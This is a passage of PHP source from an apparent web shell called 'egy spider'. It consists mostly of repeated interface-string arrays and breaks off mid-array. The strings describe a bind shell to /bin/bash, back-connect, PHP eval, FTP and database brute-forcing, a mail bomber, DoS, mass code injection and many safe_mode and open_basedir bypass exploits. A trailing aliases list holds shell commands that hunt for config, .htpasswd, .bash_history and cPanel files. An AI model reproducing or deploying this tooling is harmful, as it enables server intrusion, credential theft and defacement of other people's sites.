'ar_text65'=>'', 'ar_text33'=>'    open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', 'ar_text34'=>'      include function', 'ar_text35'=>'      load file in mysql', 'ar_text85'=>'      commands execute via MSSQL server', 'ar_text112'=>'      function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', 'ar_text113'=>'    safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', 'ar_text114'=>'    safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', 'ar_text115'=>'    safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', 'ar_text116'=>'Copy from', 'ar_text117'=>'to', 'ar_text118'=>'File copied', 'ar_text119'=>'Cant copy file', 'ar_text120'=>'    safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', 'ar_text121'=>'    open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', 'ar_text122'=>'    open_basedir, view dir list via glob() (PHP <= 5.2.x)', 'ar_text123'=>'    open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', 'ar_text124'=>'    open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', 'ar_text126'=>'    open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', 'ar_text127'=>'    open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', 'ar_text128'=>'Modify/Access file (touch)', 'ar_text129'=>'    open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', 'ar_text130'=>'    open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', 'ar_text131'=>'    open_basedir, view file contest via symlink() (PHP <= 5.2.1)', 'ar_text132'=>'    open_basedir, view dir list via symlink() (PHP <= 5.2.1)', 'ar_text133'=>'    open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', 'ar_err3'=>'Error! Can\'t connect to ftp', 'ar_err4'=>'Error! Can\'t login on ftp server', 'ar_err5'=>'Error! Can\'t change dir on ftp', 'ar_err6'=>'Error! Can\'t sent mail', 'ar_err7'=>'Mail send', 'ar_text1' =>'Executed command', 'ar_text2' =>'Execute command on server', 'ar_text33'=>'    open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', 'ar_text34'=>'      include function', 'ar_text35'=>'      load file in mysql', 'ar_text112'=>'      function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', 'ar_text113'=>'    safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', 'ar_text114'=>'    safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', 'ar_text115'=>'    safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', 'ar_text120'=>'    safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', 'ar_text121'=>'    open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', 'ar_text122'=>'    open_basedir, view dir list via glob() (PHP <= 5.2.x)', 'ar_text123'=>'    open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', 'ar_text124'=>'    open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', 'ar_text126'=>'    open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', 'ar_text127'=>'    open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', 'ar_text128'=>'Modify/Access file (touch)', 'ar_text129'=>'    open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', 'ar_text130'=>'    open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', 'ar_text131'=>'    open_basedir, view file contest via symlink() (PHP <= 5.2.1)', 'ar_text132'=>'    open_basedir, view dir list via symlink() (PHP <= 5.2.1)', 'ar_text133'=>'    open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', 'ar_text142'=>'Downloaders', 'ar_text137'=>'Useful', 'ar_text128'=>'Modify/Access file (touch)', 'ar_text129'=>'    open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', 'ar_text130'=>'    open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', 'ar_text131'=>'    open_basedir, view file contest via symlink() (PHP <= 5.2.1)', 'ar_text132'=>'    open_basedir, view dir list via symlink() (PHP <= 5.2.1)', 'ar_text133'=>'    open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', 'ar_text134'=>'Database-bruteforce', 'ar_text135'=>'Dictionary', 'ar_text136'=>'Creating evil symlink', 'ar_text137'=>'Useful', 'ar_text138'=>'Dangerous', 'ar_text139'=>'Mail Bomber', 'ar_text140'=>'DoS', 'ar_text141'=>'Danger! Web-daemon crash possible.', 'ar_text142'=>'Downloaders', 'ar_text143'=>'Temp: ', 'ar_text144'=>'      load file in mysqli', 'ar_text145'=>'    open_basedir, view dir list via realpath() (PHP <= 5.2.4)', 'ar_text146'=>'Max Interation', 'ar_text147'=>'', 'ar_text148'=>'', 'ar_text149'=>'', 'ar_text150'=>'', 'ar_err0'=>'Error! Can\'t write in file ', 'ar_err1'=>'Error! Can\'t read file ', 'ar_err2'=>'Error! Can\'t create ', 'ar_err3'=>'Error! Can\'t connect to ftp', 'ar_err4'=>'Error! Can\'t login on ftp server', 'ar_err5'=>'Error! Can\'t change dir on ftp', 'ar_err6'=>'Error! Can\'t sent mail', 'ar_err7'=>'Mail send', 'ar_text125'=>'Data', 'ar_text225'=>'        4.4.7 / 5.2.3 PHP ', 'ar_text226'=>'    Root Directory: ', 'ar_text227'=>'      4.4.2/5.1.2', 'ar_text228'=>'        ', 'ar_text230'=>'         ', 'ar_text151'=>'     chdir()and ftok() (PHP <= 5.2.6)', 'ar_text161'=>'     posix_access() (posix ext) (PHP <= 5.2.6)', 'ar_text147'=>'', 'ar_text148'=>'', 'ar_text149'=>'', 'ar_text150'=>'', 'ar_text159'=>'  egy spider', 'ar_text152'=>' ', 'ar_text153'=>' ', 'ar_text154'=>'   ', 'ar_text155'=>'  ', 'ar_text156'=>'  ', 'ar_text157'=>'    ', 'ar_text158'=>'   ', 'ar_text160'=>'  ', 'ar_text162'=>'        ionCube (PHP <= 5.2.4)', 'ar_text163'=>'    ', 'ar_text170'=>'       Posix_getpw(PHP <= 4.2.0)', 'ar_text171'=>' PHP (Win32std) Extension      (PHP <= 5.2.3)', 'ar_text180'=>'    ', 'eng_butt1' =>'Execute', 'eng_butt2' =>'Upload', 'eng_butt3' =>'Bind', 'eng_butt4' =>'Connect', 'eng_butt5' =>'Run', 'eng_butt6' =>'Change', 'eng_butt7' =>'Show', 'eng_butt8' =>'Test', 'eng_butt9' =>'Dump', 'eng_butt10'=>'Save', 'eng_butt11'=>'Edit file', 'eng_butt12'=>'Find', 'eng_butt13'=>'Create/Delete', 'eng_butt14'=>'Download', 'eng_butt15'=>'Send', 'eng_text1' =>'Executed command', 'eng_text2' =>'Execute command on server', 'eng_text3' =>'Run command', 'eng_text4' =>'Work directory', 'eng_text5' =>'Upload files on server', 'eng_text6' =>'Local file', 'eng_text7' =>'Aliases', 'eng_text8' =>'Select alias', 'eng_text9' =>'Bind port to /bin/bash', 'eng_text10'=>'Port', 'eng_text11'=>'Password for access', 'eng_text12'=>'back-connect', 'eng_text13'=>'IP', 'eng_text14'=>'Port', 'eng_text15'=>'Upload files from remote server', 'eng_text16'=>'With', 'eng_text17'=>'Remote file', 'eng_text18'=>'Local file', 'eng_text19'=>'Exploits', 'eng_text20'=>'Use', 'eng_text21'=>'&nbsp;New name', 'eng_text22'=>'datapipe', 'eng_text23'=>'Local port', 'eng_text24'=>'Remote host', 'eng_text25'=>'Remote port', 'eng_text26'=>'Use', 'eng_text28'=>'Work in safe_mode', 'eng_text29'=>'ACCESS DENIED', 'eng_text30'=>'Cat file', 'eng_text31'=>'File not found', 'eng_text32'=>'Eval PHP code', 'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', 'eng_text34'=>'Test bypass safe_mode with include function', 'eng_text35'=>'Test bypass safe_mode with load file in mysql', 'eng_text36'=>'Database . Table', 'eng_text37'=>'Login', 'eng_text38'=>'Password', 'eng_text39'=>'Database', 'eng_text40'=>'Dump database table', 'eng_text41'=>'Save dump in file', 'eng_text42'=>'Edit files', 'eng_text43'=>'File for edit', 'eng_text44'=>'Can\'t edit file! Only read access!', 'eng_text45'=>'File saved', 'eng_text46'=>'Show phpinfo()', 'eng_text47'=>'Show variables from php.ini', 'eng_text48'=>'Delete temp files', 'eng_text49'=>'Delete script from server', 'eng_text50'=>'View cpu info', 'eng_text51'=>'View memory info', 'eng_text52'=>'Find text', 'eng_text53'=>'In dirs', 'eng_text54'=>'Find text in files', 'eng_text55'=>'Only in files', 'eng_text56'=>'Nothing :(', 'eng_text57'=>'Create/Delete File/Dir', 'eng_text58'=>'name', 'eng_text59'=>'file', 'eng_text60'=>'dir', 'eng_text61'=>'File created', 'eng_text62'=>'Dir created', 'eng_text63'=>'File deleted', 'eng_text64'=>'Dir deleted', 'eng_text65'=>'Create', 'eng_text66'=>'Delete', 'eng_text67'=>'Chown/Chgrp/Chmod', 'eng_text68'=>'Command', 'eng_text69'=>'param1', 'eng_text70'=>'param2', 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'eng_text72'=>'Text for find', 'eng_text73'=>'Find in folder', 'eng_text74'=>'Find in files', 'eng_text75'=>'* you can use regexp', 'eng_text76'=>'Search text in files via find', 'eng_text80'=>'Type', 'eng_text81'=>'Net', 'eng_text82'=>'Databases', 'eng_text83'=>'Run SQL query', 'eng_text84'=>'SQL query', 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', 'eng_text86'=>'Download files from server', 'eng_text87'=>'Download files from remote ftp-server', 'eng_text88'=>'server:port', 'eng_text89'=>'File on ftp', 'eng_text90'=>'Transfer mode', 'eng_text91'=>'Archivation', 'eng_text92'=>'without arch.', 'eng_text93'=>'FTP', 'eng_text94'=>'FTP-bruteforce', 'eng_text95'=>'Users list', 'eng_text96'=>'Can\'t get users list', 'eng_text97'=>'checked: ', 'eng_text98'=>'success: ', 'eng_text99'=>'/etc/passwd', 'eng_text100'=>'Send file to remote ftp server', 'eng_text101'=>'Use reverse (user -> resu)', 'eng_text102'=>'Mail', 'eng_text103'=>'Send email', 'eng_text104'=>'Send file to email', 'eng_text105'=>'To', 'eng_text106'=>'From', 'eng_text107'=>'Subj', 'eng_text108'=>'Mail', 'eng_text109'=>'Hide', 'eng_text110'=>'Show', 'eng_text111'=>'SQL-Server : Port', 'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', 'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', 'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', 'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', 'eng_text116'=>'Copy from', 'eng_text117'=>'to', 'eng_text118'=>'File copied', 'eng_text119'=>'Cant copy file', 'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', 'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', 'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)', 'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', 'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', 'eng_text125'=>'Data', 'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', 'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', 'eng_text128'=>'Modify/Access file (touch)', 'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', 'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', 'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)', 'eng_'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)', 'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', 'eng_text134'=>'Database-bruteforce', 'eng_text135'=>'Dictionary', 'eng_text136'=>'Creating evil symlink', 'eng_text137'=>'Useful', 'eng_text138'=>'Dangerous', 'eng_text139'=>'Mail Bomber', 'eng_text140'=>'DoS', 'eng_text141'=>'Danger! Web-daemon crash possible.', 'eng_text142'=>'Downloaders', 'eng_text143'=>'Temp: ', 'eng_text144'=>'Test bypass safe_mode with load file in mysqli', 'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)', 'eng_text146'=>'Max Interation', 'eng_text147'=>'', 'eng_text148'=>'', 'eng_text149'=>'', 'eng_text150'=>'', 'eng_err0'=>'Error! Can\'t write in file ', 'eng_err1'=>'Error! Can\'t read file ', 'eng_err2'=>'Error! Can\'t create ', 'eng_err3'=>'Error! Can\'t connect to ftp', 'eng_err4'=>'Error! Can\'t login on ftp server', 'eng_err5'=>'Error! Can\'t change dir on ftp', 'eng_err6'=>'Error! Can\'t sent mail', 'eng_err7'=>'Mail send', 'eng_text1' =>'Executed command', 'eng_text2' =>'Execute command on server', 'eng_text3' =>'Run command', 'eng_text4' =>'Work directory', 'eng_text5' =>'Upload files on server', 'eng_text6' =>'Local file', 'eng_text7' =>'Aliases', 'eng_text8' =>'Select alias', 'eng_butt1' =>'Execute', 'eng_butt2' =>'Upload', 'eng_text9' =>'Bind port to /bin/bash', 'eng_text10'=>'Port', 'eng_text11'=>'Password for access', 'eng_butt3' =>'Bind', 'eng_text12'=>'back-connect', 'eng_text13'=>'IP', 'eng_text14'=>'Port', 'eng_butt4' =>'Connect', 'eng_text15'=>'Upload files from remote server', 'eng_text16'=>'With', 'eng_text17'=>'Remote file', 'eng_text18'=>'Local file', 'eng_text19'=>'Exploits', 'eng_text20'=>'Use', 'eng_text21'=>'&nbsp;New name', 'eng_text22'=>'datapipe', 'eng_text23'=>'Local port', 'eng_text24'=>'Remote host', 'eng_text25'=>'Remote port', 'eng_text26'=>'Use', 'eng_butt5' =>'Run', 'eng_text28'=>'Work in safe_mode', 'eng_text29'=>'ACCESS DENIED', 'eng_butt6' =>'Change', 'eng_text30'=>'Cat file', 'eng_butt7' =>'Show', 'eng_text31'=>'File not found', 'eng_text32'=>'Eval PHP code', 'eng_text33'=>'Test bypass open_basedir with cURL functions', 'eng_butt8' =>'Test', 'eng_text34'=>'Test bypass safe_mode with include function', 'eng_text35'=>'Test bypass safe_mode with load file in mysql', 'eng_text36'=>'Database . Table', 'eng_text37'=>'Login', 'eng_text38'=>'Password', 'eng_text39'=>'Database', 'eng_text40'=>'Dump database table', 'eng_butt9' =>'Dump', 'eng_text41'=>'Save dump in file', 'eng_text42'=>'Edit files', 'eng_text43'=>'File for edit', 'eng_butt10'=>'Save', 'eng_text44'=>'Can\'t edit file! Only read access!', 'eng_text45'=>'File saved', 'eng_text46'=>'Show phpinfo()', 'eng_text47'=>'Show variables from php.ini', 'eng_text48'=>'Delete temp files', 'eng_butt11'=>'Edit file', 'eng_text49'=>'Delete script from server', 'eng_text50'=>'View cpu info', 'eng_text51'=>'View memory info', 'eng_text52'=>'Find text', 'eng_text53'=>'In dirs', 'eng_text54'=>'Find text in files', 'eng_butt12'=>'Find', 'eng_text55'=>'Only in files', 'eng_text56'=>'Nothing :(', 'eng_text57'=>'Create/Delete File/Dir', 'eng_text58'=>'name', 'eng_text59'=>'file', 'eng_text60'=>'dir', 'eng_butt13'=>'Create/Delete', 'eng_text61'=>'File created', 'eng_text62'=>'Dir created', 'eng_text63'=>'File deleted', 'eng_text64'=>'Dir deleted', 'eng_butt65'=>'Create', 'eng_text65'=>'Create', 'eng_text66'=>'Delete', 'eng_text67'=>'Chown/Chgrp/Chmod', 'eng_text68'=>'Command', 'eng_text69'=>'param1', 'eng_text70'=>'param2', 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'eng_text72'=>'Text for find', 'eng_text73'=>'Find in folder', 'eng_text74'=>'Find in files', 'eng_text75'=>'* you can use regexp', 'eng_text76'=>'Search text in files via find', 'eng_text80'=>'Type', 'eng_text81'=>'Net', 'eng_text82'=>'Databases', 'eng_text83'=>'Run SQL query', 'eng_text84'=>'SQL query', 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', 'eng_text86'=>'Download files from server', 'eng_butt14'=>'Download', 'eng_text87'=>'Download files from remote ftp-server', 'eng_text88'=>'FTP-server:port', 'eng_text89'=>'File on ftp', 'eng_text90'=>'Transfer mode', 'eng_text91'=>'Archivation', 'eng_text92'=>'without archivation', 'eng_text93'=>'FTP', 'eng_text94'=>'FTP-bruteforce', 'eng_text95'=>'Users list', 'eng_text96'=>'Can\'t get users list', 'eng_text97'=>'checked: ', 'eng_text98'=>'success: ', 'eng_text99'=>'* use username from /etc/passwd for ftp login and password', 'eng_text100'=>'Send file to remote ftp server', 'eng_text101'=>'Use reverse (user -> resu) login for password', 'eng_text102'=>'Mail', 'eng_text103'=>'Send email', 'eng_text104'=>'Send file to email', 'eng_text105'=>'To', 'eng_text106'=>'From', 'eng_text107'=>'Subj', 'eng_butt15'=>'Send', 'eng_text108'=>'Mail', 'eng_text109'=>'Hide', 'eng_text110'=>'Show', 'eng_text111'=>'SQL-Server : Port', 'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', 'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', 'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', 'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()', 'eng_text116'=>'Copy from', 'eng_text117'=>'to', 'eng_text118'=>'File copied', 'eng_text119'=>'Cant copy file', 'eng_err0'=>'Error! Can\'t write in file ', 'eng_err1'=>'Error! Can\'t read file ', 'eng_err2'=>'Error! Can\'t create ', 'eng_err3'=>'Error! Can\'t connect to ftp', 'eng_err4'=>'Error! Can\'t login on ftp server', 'eng_err5'=>'Error! Can\'t change dir on ftp', 'eng_err6'=>'Error! Can\'t sent mail', 'eng_err7'=>'Mail send', 'eng_text200'=>'read file from vul copy()', 'eng_text500'=>'read file from id()', 'eng_text555'=>'read file from imap()', 'eng_text202'=>'where file in server', 'eng_text300'=>'read file from vul curl()', 'eng_text203'=>'read file from vul ini_restore()', 'eng_text204'=>'write shell from vul error_log()', 'eng_text205'=>'write shell in this side', 'eng_text206'=>'read dir', 'eng_text207'=>'read dir from vul reg_glob', 'eng_text208'=>'execute with function', 'eng_text209'=>'read dir from vul root', 'eng_text210'=>'DeZender ', 'eng_text211'=>'::safe_mode off::', 'eng_text212'=>'colse safe_mode with php.ini', 'eng_text213'=>'colse security_mod with .htaccess', 'eng_text214'=>'Admin name', 'eng_text215'=>'IRC server ', 'eng_text216'=>'#room name', 'eng_text217'=>'server', 'eng_text218'=>'write ini.php file to close safe_mode with ini_restore vul', 'eng_text225'=>'MySQL Safe Mode Bypass 4.4.7 / 5.2.3 PHP ', 'eng_text226'=>'Safe Mode Bpass Root Directory: ', 'eng_text227'=>'Safe_Mode Bypass 4.4.2/5.1.2: ', 'eng_text228'=>'tools for hacker vb ', 'eng_text230'=>'know pass of cpanel ', 'eng_text219'=>'Get file to server in safe_mode and change name', 'eng_text220'=>'show file with symlink vul', 'eng_text221'=>'zip file in server to download', 'eng_text222'=>'2 symlink use vul', 'eng_text223'=>'read file from funcution', 'eng_text224'=>'read file from PLUGIN ', 'eng_butt1' =>'Execute', 'eng_butt2' =>'Upload', 'eng_butt3' =>'Bind', 'eng_butt4' =>'Connect', 'eng_butt5' =>'Run', 'eng_butt6' =>'Change', 'eng_butt7' =>'Show', 'eng_butt8' =>'Test', 'eng_butt9' =>'Dump', 'eng_butt10'=>'Save', 'eng_butt11'=>'Edit file', 'eng_butt12'=>'Find', 'eng_butt13'=>'Create/Delete', 'eng_butt14'=>'Download', 'eng_butt15'=>'Send', 'eng_text1' =>'Executed command', 'eng_text2' =>'Execute command on server', 'eng_text3' =>'Run command', 'eng_text4' =>'Work directory', 'eng_text5' =>'Upload files on server', 'eng_text6' =>'Local file', 'eng_text7' =>'Aliases', 'eng_text8' =>'Select alias', 'eng_text9' =>'Bind port to /bin/bash', 'eng_text10'=>'Port', 'eng_text11'=>'Password for access', 'eng_text12'=>'back-connect', 'eng_text13'=>'IP', 'eng_text14'=>'Port', 'eng_text15'=>'Upload files from remote server', 'eng_text16'=>'With', 'eng_text17'=>'Remote file', 'eng_text18'=>'Local file', 'eng_text19'=>'Exploits', 'eng_text20'=>'Use', 'eng_text21'=>'&nbsp;New name', 'eng_text22'=>'datapipe', 'eng_text23'=>'Local port', 'eng_text24'=>'Remote host', 'eng_text25'=>'Remote port', 'eng_text26'=>'Use', 'eng_text28'=>'Work in safe_mode', 'eng_text29'=>'ACCESS DENIED', 'eng_text30'=>'Cat file', 'eng_text31'=>'File not found', 'eng_text32'=>'Eval PHP code', 'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', 'eng_text34'=>'Test bypass safe_mode with include function', 'eng_text35'=>'Test bypass safe_mode with load file in mysql', 'eng_text36'=>'Database . Table', 'eng_text37'=>'Login', 'eng_text38'=>'Password', 'eng_text39'=>'Database', 'eng_text40'=>'Dump database table', 'eng_text41'=>'Save dump in file', 'eng_text42'=>'Edit files', 'eng_text43'=>'File for edit', 'eng_text44'=>'Can\'t edit file! Only read access!', 'eng_text45'=>'File saved', 'eng_text46'=>'Show phpinfo()', 'eng_text47'=>'Show variables from php.ini', 'eng_text48'=>'Delete temp files', 'eng_text49'=>'Delete script from server', 'eng_text50'=>'View cpu info', 'eng_text51'=>'View memory info', 'eng_text52'=>'Find text', 'eng_text53'=>'In dirs', 'eng_text54'=>'Find text in files', 'eng_text55'=>'Only in files', 'eng_text56'=>'Nothing :(', 'eng_text57'=>'Create/Delete File/Dir', 'eng_text58'=>'name', 'eng_text59'=>'file', 'eng_text60'=>'dir', 'eng_text61'=>'File created', 'eng_text62'=>'Dir created', 'eng_text63'=>'File deleted', 'eng_text64'=>'Dir deleted', 'eng_text65'=>'Create', 'eng_text66'=>'Delete', 'eng_text67'=>'Chown/Chgrp/Chmod', 'eng_text68'=>'Command', 'eng_text69'=>'param1', 'eng_text70'=>'param2', 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'eng_text72'=>'Text for find', 'eng_text73'=>'Find in folder', 'eng_text74'=>'Find in files', 'eng_text75'=>'* you can use regexp', 'eng_text76'=>'Search text in files via find', 'eng_text80'=>'Type', 'eng_text81'=>'Net', 'eng_text82'=>'Databases', 'eng_text83'=>'Run SQL query', 'eng_text84'=>'SQL query', 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', 'eng_text86'=>'Download files from server', 'eng_text87'=>'Download files from remote ftp-server', 'eng_text88'=>'server:port', 'eng_text89'=>'File on ftp', 'eng_text90'=>'Transfer mode', 'eng_text91'=>'Archivation', 'eng_text92'=>'without arch.', 'eng_text93'=>'FTP', 'eng_text94'=>'FTP-bruteforce', 'eng_text95'=>'Users list', 'eng_text96'=>'Can\'t get users list', 'eng_text97'=>'checked: ', 'eng_text98'=>'success: ', 'eng_text99'=>'/etc/passwd', 'eng_text100'=>'Send file to remote ftp server', 'eng_text101'=>'Use reverse (user -> resu)', 'eng_text102'=>'Mail', 'eng_text103'=>'Send email', 'eng_text104'=>'Send file to email', 'eng_text105'=>'To', 'eng_text106'=>'From', 'eng_text107'=>'Subj', 'eng_text108'=>'Mail', 'eng_text109'=>'Hide', 'eng_text110'=>'Show', 'eng_text111'=>'SQL-Server : Port', 'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', 'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', 'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', 'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', 'eng_text116'=>'Copy from', 'eng_text117'=>'to', 'eng_text118'=>'File copied', 'eng_text119'=>'Cant copy file', 'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', 'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', 'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)', 'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', 'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', 'eng_text125'=>'Data', 'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', 'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', 'eng_text128'=>'Modify/Access file (touch)', 'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', 'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', 'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)', 'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)', 'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', 'eng_text134'=>'Database-bruteforce', 'eng_text135'=>'Dictionary', 'eng_text136'=>'Creating evil symlink', 'eng_text137'=>'Useful', 'eng_text138'=>'Dangerous', 'eng_text139'=>'Mail Bomber', 'eng_text140'=>'DoS', 'eng_text141'=>'Danger! Web-daemon crash possible.', 'eng_text142'=>'Downloaders', 'eng_text143'=>'Temp: ', 'eng_text144'=>'Test bypass safe_mode with load file in mysqli', 'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)', 'eng_text146'=>'Max Interation', 'eng_text151'=>'Test bypass safe_mode with chdir()and ftok() (PHP <= 5.2.6)', 'eng_text161'=>'Test bypass safe_mode with posix_access() (posix ext) (PHP <= 5.2.6)', 'eng_text162'=>'ionCube extension safe_mode and disable_functions protections bypass (PHP <= 5.2.4)', 'eng_text163'=>'PHP Perl Extension Safe_mode Bypass Exploit', 'eng_text170'=>' Test bypass safe_mode and Open_basedir Settings by Posix_getpw (PHP <= 4.2.0)', 'eng_text171'=>' PHP (Win32std) Extension safe_mode/disable_functions Protections Bypass (PHP <= 5.2.3)', 'eng_text147'=>'', 'eng_text148'=>'', 'eng_text149'=>'', 'eng_text150'=>'', 'eng_text159'=>'About egy spider', 'eng_text152'=>'Latest News', 'eng_text153'=>'Logout ', 'eng_text154'=>'Quick index ', 'eng_text155'=>'Mass Code Injection ', 'eng_text156'=>'File source ', 'eng_text157'=>'Registration in Zone-h ', 'eng_text158'=>'Hash Tools  ', 'eng_text160'=>'Home Shell  ', 'eng_text180'=>'Send Your Comments And Contacted Me ', 'eng_err0'=>'Error! Can\'t write in file ', 'eng_err1'=>'Error! Can\'t read file ', 'eng_err2'=>'Error! Can\'t create ', 'eng_err3'=>'Error! Can\'t connect to ftp', 'eng_err4'=>'Error! Can\'t login on ftp server', 'eng_err5'=>'Error! Can\'t change dir on ftp', 'eng_err6'=>'Error! Can\'t sent mail', 'eng_err7'=>'Mail send', ); $aliases=array( '----------------------------------locate'=>'', 'find httpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate httpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate vhosts.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate proftpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate psybnc.conf'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate my.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate admin.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate cfg.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate conf.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate config.dat files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate config.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate config.inc files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate config.inc.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate config.default.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate .conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate .pwd files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate .sql files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate .htpasswd files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate .bash_history files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate .mysql_history files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate backup files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate dump files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate priv files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'locate vhosts.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', '________________find orders ______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'cat /var/cpanel/accounting.log'=>'cat /var/cpanel/accounting.log', 'find all site of server and 